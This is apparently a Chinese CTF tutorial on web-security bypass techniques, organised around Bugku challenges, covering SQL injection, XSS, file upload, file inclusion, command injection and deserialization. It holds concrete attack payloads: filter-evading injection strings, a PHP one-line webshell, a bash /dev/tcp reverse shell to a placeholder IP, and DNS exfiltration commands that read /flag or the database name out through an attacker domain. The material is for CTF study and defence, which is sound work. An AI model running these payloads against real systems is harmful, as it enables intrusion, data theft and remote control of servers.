1. 项目概述从“绕过”视角看Web安全攻防实战最近在整理Bugku CTF的Web题目发现一个非常有意思的现象很多题目的核心考点都绕不开“绕过”这两个字。无论是SQL注入、文件上传、代码执行还是逻辑漏洞出题人总喜欢设置层层关卡而解题者的乐趣和挑战就在于找到那条被隐藏的“小路”。这其实非常贴近真实的渗透测试场景——安全防护措施WAF、输入过滤、验证机制无处不在而攻击者的艺术就在于如何巧妙地“绕过”它们。今天我就以“各种绕过哟”这个主题为线索结合我在Bugku以及其他CTF平台刷题、实战中积累的经验系统性地梳理一下Web安全中那些常见的、经典的绕过姿势。这不仅仅是解题技巧更是理解现代Web应用安全防御与攻击思维碰撞的绝佳窗口。2. 核心绕过技术体系深度解析Web安全的攻防本质上是策略与反策略的博弈。绕过技术并非孤立的技巧而是一个基于对目标系统深度理解的、有层次的思维过程。我们可以将其体系化为几个核心层面。2.1 输入验证与过滤绕过这是最基础也最考验创造力的环节。系统会对用户的输入进行清洗我们的目标就是让恶意载荷“穿”过这层过滤网。1. 编码与变形绕过这是绕过WAFWeb应用防火墙和简单正则过滤的利器。原理在于后端验证逻辑与最终执行逻辑的解码环节可能存在差异。URL编码将关键字符进行编码如编码为%27编码为%3c。有时双重编码%2527能绕过一些简单的解码后检查。HTML实体编码在XSS场景下如果输出点位于HTML标签属性内且未正确过滤和可能被转义为lt;和gt;但我们可以尝试构造javascript:alert(1)或利用事件处理器。Unicode/UTF-8编码某些WAF可能对特定字符集的识别不全。例如在某些上下文下全角字符如全角单引号可能被当作普通字符而数据库或解释器却可能将其识别为有效的语法字符。大小写混合针对简单的基于关键词黑名单的过滤SeLeCt、UnIoN可能有效。内联注释在SQL注入中/**/可以用来分割关键词如UNI/**/ON SEL/**/ECT。MySQL中/*!50000select*/这种带版本号的注释有时能绕过一些基于模式匹配的过滤。实操心得不要盲目尝试所有编码。先通过错误信息或简单测试如输入看是否报错判断后端使用的语言PHP、Java、.NET和数据库MySQL、MSSQL、PostgreSQL不同技术栈的编码和解码特性有差异。例如PHP的urldecode()函数会自动解码而一些自定义过滤可能只做一次解码检查。2. 特殊字符与空白符绕过利用解析器与过滤器对空白符处理的差异。换行符、制表符、回车符在HTTP头注入、SQL注入中%0a换行、%0d回车、%09制表可能被解析为空白符从而绕过基于空格的检测。例如SELECT%0ausername%0dFROM%09users。反引号、括号在SQL注入中反引号可用于包裹标识符如表名、列名有时能绕过对空格的依赖。括号可以用来改变运算顺序或包裹子查询。字符串拼接当引号被过滤时可以利用数据库的字符串拼接函数。在MySQL中是CONCAT()在MSSQL中是在Oracle中是||。例如SELECT CONCAT(us,er)等价于SELECT user。2.2 客户端验证与逻辑绕过这类绕过不直接对抗过滤而是利用应用逻辑设计上的缺陷。1. 验证码绕过这是CTF和实战中的常客。常见漏洞点包括验证码在客户端生成或校验验证码由JavaScript生成并在前端比对直接抓包重放或修改响应即可绕过。验证码与Session绑定不严服务器端生成了验证码并存入Session但在校验后没有立即销毁或重置该Session值。导致攻击者可以重复使用同一个验证码进行多次请求。验证码可被OCR识别或存在逻辑缺陷验证码过于简单能被自动化脚本识别或者验证码答案就在前端HTML注释、响应头、Cookie等位置。绕过验证码提交接口有时存在一个不经过验证码检查的“后端API”或“管理接口”通过直接访问该接口可以提交数据。2. 业务逻辑绕过顺序绕过例如一个“重置密码”功能需要1输入邮箱 - 2邮箱接收验证码 - 3输入验证码和新密码。如果第2步和第3步的验证状态仅由一个Token控制且该Token在第1步后就已生成并返回给客户端攻击者可能直接跳到第3步自行构造请求并携带该Token来修改密码。条件竞争在多线程/异步环境下对共享资源如优惠券库存、支付状态的检查和使用check-then-use非原子操作。通过高并发请求可能在系统“检查”之后、“使用”之前的极短间隙内完成多次“使用”操作。经典场景是“一分钱买iphone”。参数污染当后端同时接收GET和POST参数或接收多个同名参数时处理逻辑可能出现混乱。例如提交useradminuserguest后端取第一个值为admin进行权限判断取第二个值guest进行日志记录造成权限提升的假象。2.3 服务器端执行环境绕过当我们的输入能够影响服务器端执行逻辑时就需要更高级的绕过技巧。1. 文件上传绕过目标是让一个包含恶意代码的文件被服务器以可执行的方式保存和访问。前端校验绕过直接抓包修改文件扩展名、Content-Type。黑名单绕过尝试非常见可执行扩展名如.php5,.phtml,.phps,.php7取决于服务器配置。在Apache中如果.htaccess可被上传可以定义自定义处理器使.abc文件被当作PHP解析。文件内容绕过在文件开头添加图片魔数如GIF的GIF89a以绕过文件头检查后面再拼接PHP代码。或者利用exif_imagetype()等函数只检查文件头部的特性。解析漏洞这是“杀手锏”。例如IIS 6.0的目录名/文件名.asp;.jpg解析漏洞Apache的文件名.php.xxx如果xxx不在解析列表Apache会递归向前寻找解析器找到.php漏洞以及Nginx在特定配置下文件名.jpg/xxx.php的解析谬误。条件竞争绕过在上传-检查-删除的非原子操作流程中在文件被删除前的一瞬间访问并执行它。2. 命令/代码注入绕过当输入点可以通往系统命令或后端代码执行时过滤往往非常严格。命令注入空格绕过用${IFS}、$IFS$9、、、%09制表符代替空格。命令注入关键词绕过用通配符*如/???/c?t可能匹配/bin/cat。使用变量拼接ac;bat; $a$b /etc/passwd。PHP代码执行绕过assert()、create_function()、preg_replace()的/e模式已废弃等危险函数。当数字和括号被过滤时可以利用PHP的动态函数调用$_GET[a]($_GET[b])传入asystembls。利用include/require进行文件包含配合PHP伪协议php://input或data://直接执行代码。序列化漏洞__wakeup绕过PHP反序列化时如果__wakeup()方法会重置对象属性或进行安全检查可以通过修改序列化字符串中对象属性的数量大于真实数量来绕过__wakeup()的执行。这是Bugku等CTF题中的经典考点。3. 经典CTF场景下的绕过实战拆解理论需要结合实践。下面我们通过几个模拟Bugku风格的场景来具体看看如何应用上述绕过技术。3.1 场景一速度要快——竞争条件与自动化脚本这道题的名字就提示了“速度”。通常意味着你需要快速提交某个数据或者利用时间差。1. 题目线索分析访问页面可能有一个提交按钮或者一个不断刷新的Token。查看网络请求发现每次请求响应头里都有一个特殊的字段比如Flag: xxxxx但这个值每次都在变。题目要求提交这个值以获取真正的flag。2. 绕过思路与实操这本质是一个客户端与服务器端状态同步的绕过。服务器可能在你访问页面时生成一个临时flag放在响应头或Cookie里并在你下次请求时验证它。但验证后这个值就失效了。如果手动操作你看到值再复制提交已经来不及了。工具准备使用Python的requests库编写脚本。步骤首先发送一个GET请求到目标URL从响应头如headers[‘Flag’]中提取动态值。然后立即在同一个会话中构造一个POST请求将刚才提取到的值作为表单数据如{‘flag’: extracted_value}提交。这个过程必须在一次会话中、极短的时间内毫秒级完成避免服务器端会话状态改变或临时值过期。关键代码片段import requests s requests.Session() url ‘http://target.com/’ # 第一次请求获取动态令牌 r1 s.get(url) dynamic_token r1.headers.get(‘Flag’) # 或者从Cookie、HTML中解析 # 立即第二次请求提交令牌 data {‘key’: dynamic_token} r2 s.post(url, datadata) print(r2.text) # 这里应该包含真正的flag注意事项必须使用会话对象Session()来保持Cookies模拟浏览器行为。有些题目可能需要处理Cookie中的动态值。如果一次不成功可能是时机问题可以尝试循环多次“获取-提交”操作。3.2 场景二文件包含与伪协议绕过题目给出一个文件包含的参数如?fileindex.php尝试读取源码。1. 初步测试尝试?file../../../../etc/passwd进行目录遍历。如果被过滤尝试编码..为%2e%2e或双重编码。2. 利用PHP伪协议如果目标是PHP且allow_url_include配置开启CTF中常为开启状态伪协议是强大工具。读取源码?filephp://filter/readconvert.base64-encode/resourceindex.php这样会将index.php的内容进行base64编码后输出避免了包含PHP文件时直接执行。拿到base64字符串后解码即可看到源码。执行代码?filephp://input然后POST body里写?php system(‘ls’); ?。?filedata://text/plain,?php phpinfo();?或data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pgbase64编码的?php system(‘ls’); ?。绕过过滤如果php://被关键词过滤可以尝试大小写PHP://利用包含的截断特性PHP版本 5.3.4?filephp://filter/readconvert.base64-encode/resourceindex.php%00需要特定条件。使用其他协议如zip://需上传zip包或phar://需上传phar文件常用于反序列化。3.3 场景三SQL注入之绕过#号与关键字过滤题目提示“绕过mybatis#号”这指向MyBatis框架中#{}和${}的区别。#{}是预编译占位符能有效防止注入${}是字符串拼接存在风险。但题目可能模拟了#被过滤的场景或者考察对${}的利用。1. 理解MyBatis中的#和$#{}SQL预编译传入参数会被当作字符串处理如WHERE id #{value}编译为WHERE id ?然后传入值。${}直接字符串替换如ORDER BY ${columnName}会直接拼接ORDER BY user_name。如果用户能控制${}中的变量且过滤不严就可能引发注入。2. 绕过思路假设注入点形如... WHERE id ${input}且后端过滤了#、--等单行注释符以及union、select等关键字。注释绕过尝试多行注释/**/。例如1和/**/or/**/11。编码与大小写UnIoNSeLeCt。等价函数替换如果substring()被过滤尝试mid()、substr()。如果sleep()被过滤尝试benchmark()。利用${}的特性进行堆叠查询在某些数据库驱动和配置下使用${}可能允许执行多条语句。Payload可能为1; UPDATE users SET password‘hacked’ WHERE user‘admin’ --。但这取决于JDBC配置allowMultiQueries是否开启。无#号盲注当不能使用注释符来截断后续SQL时需要精心构造Payload使整个SQL语句语法正确。例如原语句为SELECT * FROM news WHERE id${id} AND status1。注入id1 AND (SELECT ...)1 AND ‘1’‘1这样最后多余的AND ‘1’‘1是为了闭合原本的AND status1前面的单引号如果原语句有引号包裹或者直接提供完整的布尔条件。这需要对原SQL语句结构有准确猜测。4. 系统化解题方法论与工具链面对一道陌生的CTF Web题遵循一个系统化的流程可以大幅提高效率。4.1 信息收集与侦察这是所有步骤的基础往往能发现意想不到的突破口。常规扫描使用浏览器开发者工具F12查看网络请求、源码、Cookie、本地存储。查看Robots.txt、/.git/目录、/www.zip备份文件等。目录/文件枚举使用dirsearch、gobuster或ffuf工具使用常用字典寻找后台、源码备份、配置文件、上传目录等。框架/组件识别通过HTTP响应头、Cookie名称如PHPSESSID、页面特征、错误信息识别后端语言、框架ThinkPHP、Spring、Flask、中间件Apache、Nginx、IIS和数据库。参数发现对每一个输入点URL参数、表单、Cookie、HTTP头进行测试。特别是隐藏字段、JSON/XML格式的请求体。4.2 漏洞探测与利用根据信息收集的结果有方向地进行测试。SQL注入使用sqlmap自动化探测但手动测试更能锻炼思维。重点测试数字型、字符型单引号、双引号、搜索型、时间盲注。注意观察错误回显、页面内容差异、响应时间。XSS测试所有用户可控的输出点。使用简单Payload如scriptalert(1)/script再逐步测试过滤规则尝试编码绕过。文件包含/读取尝试../../、伪协议、日志文件包含/var/log/apache2/access.log、/proc/self/environ等。文件上传尝试上传各种类型文件抓包修改扩展名、Content-Type尝试解析漏洞。命令/代码执行在疑似可执行点如IP地址输入、系统功能点测试|、;、、、||、反引号等连接符以及$(command)。逻辑漏洞尝试修改状态参数如admin0改为admin1、金额、数量、ID尝试重复提交、跳过步骤、条件竞争。4.3 权限提升与Flag获取找到漏洞后目标是拿到flag或shell。数据库操作通过SQL注入获取数据库名、表名、列名、数据。注意information_schema库在MySQL中的关键作用。文件系统操作通过文件包含、命令执行读取敏感文件/etc/passwd、/flag、/proc/self/cmdline、网站源码。获取Webshell通过文件上传漏洞上传一句话木马如PHP的?php eval($_POST[‘cmd’]);?然后用中国菜刀/蚁剑连接。或者通过命令执行直接写入Webshell。反弹Shell在命令执行点如果网络可达使用bash -c ‘bash -i /dev/tcp/your_ip/your_port 01’或nc、python、php等命令反弹一个交互式shell到你的服务器。寻找FlagFlag可能在数据库里、网站根目录下的flag.php/flag.txt、环境变量里、甚至藏在图片的EXIF信息中strings命令或exiftool查看。5. 高级技巧与思维拓展当常规方法都失效时需要一些“奇技淫巧”和发散思维。1. DNS外带数据在无回显的盲注、盲打XSS、无网络连接的命令执行中DNS查询通常能穿透防火墙。原理是将要外带的数据作为子域名的一部分触发一次DNS查询你在自己的DNS服务器日志上就能看到数据。SQL盲注SELECT LOAD_FILE(CONCAT(‘\\\\’, (SELECT DATABASE()), ‘.your-domain.com\\abc’))Windows下。命令执行ping $(whoami).your-domain.com或nslookup $(cat /flag).your-domain.com。工具使用dnslog.cn这类平台提供的临时域名非常方便。2. 二次编码与服务器解析差异利用Web应用中多层解码导致的差异。例如用户输入%2527%27的URL编码。第一层WAF/前端过滤解码一次得到%27WAF可能认为这只是普通字符放行。第二层后端应用框架再次解码得到’单引号成功注入。 这种场景在多层代理、负载均衡或特定框架配置下可能出现。3. 不常见的协议与特性SSRF中利用file://、gopher://、dict://协议攻击内网服务或读取本地文件。php://filter链式过滤器进行字符串处理如convert.iconv.*进行字符集转换可能用于构造特定Payload。.htaccess利用在Apache服务器中如果允许上传.htaccess可以设置AddType application/x-httpd-php .abc使所有.abc文件被解析为PHP。4. 代码审计与反序列化链构造对于白盒题目或拿到源码的情况直接进行代码审计是最快路径。重点寻找反序列化入口点unserialize()、json_decode()特定条件下。危险函数eval()、assert()、system()、exec()、preg_replace(/e)、call_user_func()。文件操作函数include、require、file_get_contents()注意变量是否可控。对于反序列化需要分析代码中的类寻找__destruct()、__wakeup()、__toString()等魔术方法以及它们内部是否调用了危险函数然后构造一条从入口点到危险函数的“调用链”POP Chain。Web安全的绕过艺术本质上是一场关于“理解”的较量。理解协议规范、理解语言特性、理解框架逻辑、理解过滤器的盲点甚至理解出题人的心思。在CTF中这些绕过技巧是解题的钥匙在真实世界中它们是衡量一个系统安全水位的重要标尺。对于防御者而言知其攻方能善其守深入理解这些绕过手法才能设计出更立体、更深入的防御策略。